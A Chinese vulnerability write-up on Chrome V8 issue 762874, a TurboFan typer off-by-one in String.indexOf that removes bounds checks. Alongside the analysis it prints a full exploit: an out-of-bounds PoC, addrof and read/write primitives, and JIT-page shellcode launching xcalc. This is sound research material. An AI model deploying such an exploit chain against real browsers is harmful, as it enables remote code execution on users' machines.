ddme @PortalLab实验室
环境搭建
用v8-action(星阑科技开源)?
工欲善其事:Github Action 极简搭建 v8 环境
env:
PATCH_FLAG: true
COMMIT: d2da19c78005c75e0f658be23c28b473dd76b93b #这里
DEPOT_UPLOAD: false
SRC_UPLOAD: true
BINARY_UPLOAD: false
编译
cd v8
x64.debug
ninja -C out.gn/x64.debug d8
x64.release
ninja -C out.gn/x64.release d8
cd ..
漏洞分析
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index e04b1fb..251a946 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1453,7 +1453,7 @@
return Type::String();
case kStringIndexOf:
case kStringLastIndexOf:
- return Type::Range(-1.0, String::kMaxLength - 1.0, t->zone());
+ return Type::Range(-1.0, String::kMaxLength, t->zone());
case kStringEndsWith:
case kStringIncludes:
return Type::Boolean();
可以看到原本的String的最大下标是Range(-1.0, kMaxLength – 1.0),因为很显然,当只有一个元素时,最大下标就是1-1->0
但是有一特殊情况
'1234'.indexOf('', 4) == 4
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf
str.indexOf(searchValue [, fromIndex])
返回在当前字符串中从fromIndex开始的第一个searchValue对应的下标,但是当我们像上述说的搜索空字符且从大于等于数组长度的位置搜索时,会返回数组长度(这点在下面的源码分析中会有所体现),等下用turbolizer看下生成图。
function hex(i){
return i.toString(16).padStart(16, "0");
}
function foo(x)
{
// const maxLength = %StringMaxLength();
// print(maxLength);
//maxLength==2**30+25
let a = 'A'.repeat(2**30-25).indexOf('',x);
let b = a + 25;
let c = b >> 30;
let idx = 7 * c;
// print(idx);
let oobArray = [1.1,2.2,3.3,4.4];
oobArray[idx] = -1;
return oobArray;
}
for(let i=0; i<10000; i++) {
foo(1)
}
let oob = foo(2**30-25);
console.log("[*]oob.length: "+hex(oob.length));
在这一阶段时看到还有CheckBounds防止越界,但是在Simplified lowering阶段就没了那个越界检查,说明其turbofan认为这里不会越界,所以就把CheckBound 给消除了,但是实际上越界了,所以会把checkbound消除(重点,这类漏洞的重点就是把一些check给消除掉)。
这一错误的判断,也即消除checkbound是因为
注意我用的不是2**28,显然turbofan在优化时确定的范围显示其不会越界,所以就会把checkbound消去,单这么看也许会觉得莫名其妙,那么我写个自己假设的修复漏洞之后的图表。
那么这样的话显然是不会让CheckBound 消失的。
源码分析
int String::IndexOf(Isolate* isolate, Handle<String> receiver,
Handle<String> search, int start_index) {
DCHECK(0 <= start_index); //开始的下标大于0
DCHECK(start_index <= receiver->length()); //开始的下标小于主字符串的长度
uint32_t search_length = search->length(); //需要搜索字符串的长度
if (search_length == 0) return start_index; //如果是空字符串,返回搜索开始的下标
uint32_t receiver_length = receiver->length();
if (start_index + search_length > receiver_length) return -1;
receiver = String::Flatten(receiver);
search = String::Flatten(search);
DisallowHeapAllocation no_gc; // ensure vectors stay valid
// Extract flattened substrings of cons strings before getting encoding.
String::FlatContent receiver_content = receiver->GetFlatContent();
String::FlatContent search_content = search->GetFlatContent();
// dispatch on type of strings
if (search_content.IsOneByte()) {
Vector<const uint8_t> pat_vector = search_content.ToOneByteVector();
return SearchString<const uint8_t>(isolate, receiver_content, pat_vector,
start_index);
}
Vector<const uc16> pat_vector = search_content.ToUC16Vector();
return SearchString<const uc16>(isolate, receiver_content, pat_vector,
start_index);
}
利用
我们看到通过poc,可以达到构造一个越界读的数组的结果,并且这一poc的构建看起来并不算特别难,且其原理也在前面有所讲解,我相信各位通过曾经一些v8的学习,拿到可以有oob数组的poc后可以很快的写出其exp,有越界数组之后的操作就不再多说。
另外这个v8的版本挺老的v6.3的,我用wasm时候没触发应该是这个版本还不支持,最后直接拿这里(https://www.anquanke.com/post/id/216677#h2-9)所说的jit稍加修改。
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
const MAX_ITERATIONS = 10000;
const buf = new ArrayBuffer(8);
const f64 = new Float64Array(buf);
const u32 = new Uint32Array(buf);
function f2i(val)
{
f64[0] = val;
let tmp = Array.from(u32);
return tmp[1] * 0x100000000 + tmp[0];
}
function i2f(val)
{
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
u32.set(tmp);
return f64[0];
}
let obj = [];
let ABuffer = [];
function foo(x)
{
let b = 'A'.repeat(2**30-25).indexOf('',x);
let a = b + 25;
let c = a >> 30;
let idx = 7 * c;
// print(idx);
let oobArray = [1.1,2.2,3.3,4.4];
oobArray[idx] = -1;//i2f(0x202000000000);
return oobArray;
}
foo(1);
foo(1);
for(let i=0; i<MAX_ITERATIONS; i++) {
foo(1)
}
let oob = foo(2**30-25);
console.log("[*] oob.length: "+hex(oob.length));
obj.push({mark:i2f(0x11111111),n:i2f(0x41414141)});
ABuffer.push(new ArrayBuffer(0x200));
var off_buffer = 0;
var off_obj = 0;
for(var i=0;i<500;i++)
{
let tmp = oob[i];
if(f2i(tmp) == 0x11111111)
{
off_obj = i+1;
break;
}
}
for(var i=0;i<500;i++)
{
let tmp = oob[i];
if(f2i(tmp) == 0x0000020000000000)
{
off_buffer = i+1;
break;
}
}
console.log("[+] off_obj @"+off_obj);
console.log("[+] off_buffer @"+off_buffer);
let dataView = new DataView(ABuffer[ABuffer.length-1]);
function addrof(x)
{
obj[0].n = x;
return f2i(oob[off_obj]);
}
function abread(addr)
{
oob[off_buffer] = i2f(addr);
return f2i(dataView.getFloat64(0,true));
}
function abwrite(addr,payload)
{
oob[off_buffer] = i2f(addr);
for(let i=0; i<payload.length; i++) {
dataView.setUint8(i, payload[i]);
}
}
var jit = new Function("var a=1000000");
var jit_addr = addrof(jit) - 1;
console.log("jit_addr ==> 0x"+jit_addr.toString(16))
var rwx_addr = abread(jit_addr+0x38) - 1 + 0x60
console.log("rwx_addr ==> 0x"+rwx_addr.toString(16))
var shellcode = [0x48,0xb8,0x2f,0x78,0x63,0x61,0x6c,0x63,0x0,0x0,0x50,0x48,0xb8,
0x2f,0x75,0x73,0x72,0x2f,0x62,0x69,0x6e,0x50,0x48,0x89,0xe7,0x48,
0x31,0xc0,0x50,0x57,0x48,0x89,0xe6,0x48,0x31,0xd2,0x48,0xc7,0xc0,
0x3a,0x31,0x00,0x00,0x50,0x48,0xb8,0x44,0x49,0x53,
0x50,0x4c,0x41,0x59,0x3d,0x50,0x48,0x89,0xe2,0x48,0x31,0xc0,0x50,
0x52,0x48,0x89,0xe2,0x48,0xc7,0xc0,0x3b,0x00,0x00,0x00,0x0f,0x05];
abwrite(rwx_addr,shellcode);
jit();
我也一直在思考shellcode跑不通的原因,每次都是display的环境变量和别人不一样,如果你用我的exp跑不通,也可以去进行新的尝试。
参考
https://docs.google.com/presentation/d/1DJcWByz11jLoQyNhmOvkZSrkgcVhllIlCHmal1tGzaw/edit#slide=id.g51fa47cbd3_0_0
Chrome issue 762874 – 安全客,安全资讯平台 (anquanke.com)
往期 · 推荐
原文始发于微信公众号(星阑科技):【技术干货】Chrome-V8-Issue-762874